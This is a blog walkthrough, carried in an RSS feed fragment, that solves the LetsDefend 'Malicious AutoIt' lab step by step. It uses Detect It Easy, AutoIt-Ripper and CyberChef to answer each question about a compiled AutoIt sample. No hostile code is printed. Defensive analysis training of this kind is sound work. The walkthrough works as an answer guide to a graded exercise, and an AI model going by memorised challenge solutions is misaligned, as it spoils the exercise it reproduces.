clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-autoit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-autoit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;Our organization&amp;rsquo;s Security Operations Center (SOC) has detected suspicious activity related to an AutoIt script. Can you analyze this exe and help us answer the following questions?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-of-the-samplefile&#34;&gt;Question 1: What is the MD5 hash of the sample file?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s kick off our investigation by extracting the &lt;strong&gt;sample.7z&lt;/strong&gt; archive from the &lt;strong&gt;ChallengeFile&lt;/strong&gt; folder. This will leave us with the sample we need to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;227&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/7f49c4966a627417bf4cc83eeb615ee4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we don&amp;rsquo;t have any information about this file or even what it is, we need to do some sleuthing. A great starting point is to use &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy (DIE)&lt;/strong&gt;&lt;/a&gt; to identify the file and perform some cursory analysis. Fortunately for us, this tool is already installed on the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment in the &lt;strong&gt;Tools&lt;/strong&gt; folder. Let&amp;rsquo;s go ahead and open it, then point it to the mysterious &lt;strong&gt;sample&lt;/strong&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;strong&gt;DIE&lt;/strong&gt; is loaded and has parsed the sample, we can start to gather some information about the file. Notice something interesting in the &lt;strong&gt;PE32&lt;/strong&gt; info window: it shows that this executable is a compiled &lt;a class=&#34;link&#34; href=&#34;https://www.autoitscript.com/site/autoit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;(3.XX)&lt;/strong&gt; script.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s get some background on &lt;a class=&#34;link&#34; href=&#34;https://www.autoitscript.com/site/autoit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; According to the project&amp;rsquo;s website:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Scripts can be compiled into standalone executables&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Cool! That sounds extremely useful to a system administrator, but it might also be useful for a bad actor. We can confirm this by taking a look at the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1059/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; knowledge base, where we&amp;rsquo;ll find that abusing &lt;strong&gt;AutoIt&lt;/strong&gt; scripts is a known adversary technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1059/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1059.010&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;587&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/bff0ff684c45f1cc798e81241f93eac9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Main Detect It Easy Window&lt;/p&gt;&#xA;&lt;p&gt;But let&amp;rsquo;s not get too far ahead of ourselves just yet. To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we first need to collect the &lt;strong&gt;MD5 hash&lt;/strong&gt; of the &lt;strong&gt;sample&lt;/strong&gt; file. We can find this in &lt;strong&gt;DIE&lt;/strong&gt; by pressing &lt;strong&gt;File Info&lt;/strong&gt;, then selecting &lt;strong&gt;Hash&lt;/strong&gt; under the &lt;strong&gt;Method&lt;/strong&gt; drop-down menu.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/d4a06d03b0f77025681f71005bfa2d4a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;MD5&lt;/strong&gt; value is all we&amp;rsquo;ll need to answer &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/e0723fa7fd8a83c85f0267ed4a10f077_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-according-to-the-detect-it-easy-die-tool-what-is-the-entropy-of-the-samplefile&#34;&gt;Question 2: According to the Detect It Easy (DIE) tool, what is the entropy of the sample file?&#xA;&lt;/h3&gt;&lt;p&gt;We can find the answer to &lt;strong&gt;Question 2&lt;/strong&gt; with a simple click of the &lt;strong&gt;Method&lt;/strong&gt; drop-down menu again and selecting &lt;strong&gt;Entropy:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;585&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/e701e979950975473db0faeaa2bd3b52_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In malware analysis, &lt;strong&gt;entropy&lt;/strong&gt; measures the randomness within data, with higher values indicating potential obfuscation techniques like encryption or compression, often used by malware to evade detection. For example, the value of the &lt;strong&gt;sample&lt;/strong&gt; we&amp;rsquo;re analyzing is on the higher side which raises suspicion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/0a0aae3328c3ecf14b24bf32d454ab80_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-according-to-the-detect-it-easydie-tool-what-is-the-virtual-address-of-the---&#34;&gt;Question 3: According to the Detect It Easy(DIE) tool, what is the virtual address of the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;.text&amp;quot;&#xA; section?&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, navigate back to the main &lt;strong&gt;Detect It Easy&lt;/strong&gt; window and click the &lt;strong&gt;€˜&amp;gt;&amp;rsquo;&lt;/strong&gt; to the right of the **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Sections&amp;quot;&#xA;** area**.** This will open up the &lt;strong&gt;PE&lt;/strong&gt; window for a deeper analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;585&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/4c363db833562419452fa1b7ee754245_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the window is open, you&amp;rsquo;ll see a list of sections including the one we are looking for, named &lt;strong&gt;.text.&lt;/strong&gt; The &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**VirtualAddress&amp;quot;&#xA;** value is what we&amp;rsquo;re after.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/991cfe54927dce1633ace58b7aa5f372_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice that the question specifies the answer format as &lt;code&gt;0x0000&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; This doesn&amp;rsquo;t match what we are seeing in &lt;strong&gt;DIE&lt;/strong&gt;. No problem! The question is looking for the &lt;strong&gt;hexadecimal notation,&lt;/strong&gt; so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn&amp;rsquo;t change the value) and then add the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0x&lt;/code&gt;,&amp;quot;&#xA;prefix to indicate that the number is in the hex format. For example, &lt;code&gt;00001000&lt;/code&gt; becomes &lt;code&gt;0x1000&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/4c8d910903524303ae47f0ee5ea78f6b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-according-to-the-detect-easy-tool-what-is-the---&#34;&gt;Question 4: According to the Detect Easy tool, what is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;time date stamp&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 4&lt;/strong&gt; is an easy one. Navigate back to the main &lt;strong&gt;Detect It Easy&lt;/strong&gt; window and we&amp;rsquo;ll find the information readily available.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/f6cba98e23a609ea60660947115b3ab0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/8d16481e249e2366b5134d133cb6edea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-according-to-the-detect-it-easy-die-tool-what-is-the-entry-point-address-of-the-executable&#34;&gt;Question 5: According to the Detect It Easy (DIE) tool, what is the entry point address of the executable?&#xA;&lt;/h3&gt;&lt;p&gt;Still working within the main &lt;strong&gt;Detect it Easy&lt;/strong&gt; window, look for the &lt;strong&gt;Entry point&lt;/strong&gt; field. Follow the same process that we used in &lt;strong&gt;Question 3&lt;/strong&gt; to convert the address to the requested format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/218365cae62881e010fc467cc3d05a0f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/aa3c12f1c8adfa2faaec001b68dd7d85_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-domain-used-by-the-malicious-embeddedcode&#34;&gt;Question 6: What is the domain used by the malicious embedded code?&#xA;&lt;/h3&gt;&lt;p&gt;To tackle &lt;strong&gt;Question 6&lt;/strong&gt;, we&amp;rsquo;re going to need to get creative. Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; that we learned that &lt;strong&gt;AutoIt&lt;/strong&gt; scripts can be compiled as executables? What if we could extract the &lt;strong&gt;AutoIt&lt;/strong&gt; scripts out of the binary for analysis?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/c66229e8d006cc0721c07270911081a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Luckily, there is a tool to do exactly this, and it&amp;rsquo;s already installed in the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment: &lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt-Ripper&lt;/strong&gt;.&lt;/a&gt; According to the project&amp;rsquo;s &lt;strong&gt;GitHub,&lt;/strong&gt; the utility is **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**a short python script that allows for extraction of €˜compiled&amp;rsquo; AutoIt scripts from PE executables,&amp;quot;&#xA;so we can dissect the resulting &lt;strong&gt;.au3&lt;/strong&gt; script file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  title=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub - nazywam/AutoIt-Ripper: Extract AutoIt scripts embedded in PE binaries&lt;/strong&gt;&#xA;_Extract AutoIt scripts embedded in PE binaries. Contribute to nazywam/AutoIt-Ripper development by creating an account&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Referencing the &lt;strong&gt;AutoIt-Ripper&lt;/strong&gt; documentation, we can run the tool from &lt;strong&gt;PowerShell&lt;/strong&gt; with the following syntax:&lt;/p&gt;&#xA;&lt;p&gt;autoit-ripper sample.exe out_directory&lt;/p&gt;&#xA;&lt;p&gt;For example, here is the command I used to extract the script from the sample binary and output to a folder called &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;ripped&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;autoit-ripper C:\Users\LetsDefend\Desktop\ChallengeFile\sample C:\Users\LetsDefend\Desktop\ChallengeFile\ripped&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/618f2e0721aa6351c1b90bd7d8cff778_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, we&amp;rsquo;ll take the output file, &lt;code&gt;script.au3&lt;/code&gt; , and open in a text editor like &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Notepad++&lt;/strong&gt;&lt;/a&gt; to view the contents. It may look a little overwhelming at first, but let&amp;rsquo;s scroll through the script, performing a cursory glance for anything that looks like a URL.&lt;/p&gt;&#xA;&lt;p&gt;Before long, we&amp;rsquo;ll stumble on &lt;strong&gt;line 39&lt;/strong&gt; where we see a reference to the &lt;code&gt;InetRead&lt;/code&gt; function used to download files from the internet, pointing to a URL containing the domain we&amp;rsquo;re searching for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/2276c159691d692f615f74706b6804b2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/71b8cc3b6327d797ec629b704bd20307_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-file-path-encoded-in-hexadecimal-in-the-malicious-code&#34;&gt;Question 7: What is the file path encoded in hexadecimal in the malicious code?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing to search the script, we&amp;rsquo;re looking for a hexadecimal number. Remember, we can identify a hexadecimal number by searching for the prefix &lt;code&gt;0x&lt;/code&gt;, the same method we used to format the answers in &lt;strong&gt;Questions 3 &amp;amp; 5.&lt;/strong&gt; We&amp;rsquo;ll find the answer on &lt;strong&gt;line 46&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/c1ac57dd62cbaf06132f134ff063a07e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To figure out the file path, we need to make it readable. We can do this easily by using a tool like &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Simply add the &lt;strong&gt;From Hex&lt;/strong&gt; operation to the &lt;strong&gt;Recipe&lt;/strong&gt; and paste the value we discovered in the script. This will reveal the file path needed to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;318px&#34; data-flex-grow=&#34;132&#34; height=&#34;603&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/3c6d81bd67d938ac73e196178d9b298b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From Hex Operation in CyberChef.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/8d8e05871bca659af2811ad781a15e02_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-name-of-the-dll-called-by-the-malicious-code&#34;&gt;Question 8: What is the name of the DLL called by the malicious code?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! Within the script, we see several references to &lt;strong&gt;DLL&lt;/strong&gt;s, but the &lt;code&gt;DllCall&lt;/code&gt; function seems to be the most relevant. On &lt;strong&gt;line 53,&lt;/strong&gt; we can see this function being used to call &lt;code&gt;user32.dll&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/0fadf1dae3064738b0eaf8751ba92c76_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/5aecb283560bdf7f4589e30c8cec761d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! By using &lt;strong&gt;Detect It Easy,&lt;/strong&gt; we were able to analyze the sample file and determine that it is a compiled &lt;strong&gt;AutoIt&lt;/strong&gt; script. Then, using &lt;strong&gt;AutoIt-Ripper&lt;/strong&gt;, we extracted the script to learn more about its capabilities. With our objectives completed, let&amp;rsquo;s wrap this investigation!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for the interesting lab scenario. I selected this one because I was not familiar with &lt;strong&gt;AutoIt&lt;/strong&gt; and its capabilities, but I have seen it mentioned as a potential attack vector recently. It was really fascinating to see how these scripts can be compiled as executables and extremely valuable to learn that the contents can be extracted for analysis. This will be a handy tool for the kit if I encounter this again in the real world.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;AutoIT:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.autoitscript.com/site/autoit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.autoitscript.com/site/autoit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect-It-Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Command and Scripting Interpreter: AutoHotKey &amp;amp; AutoIT (T1059.010):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1059/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1059/010/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;AutoIT Ripper:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/nazywam/AutoIt-Ripper&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Boogeyman 3 Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/</link>
            <pubDate>Mon, 06 Jan 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/</guid>
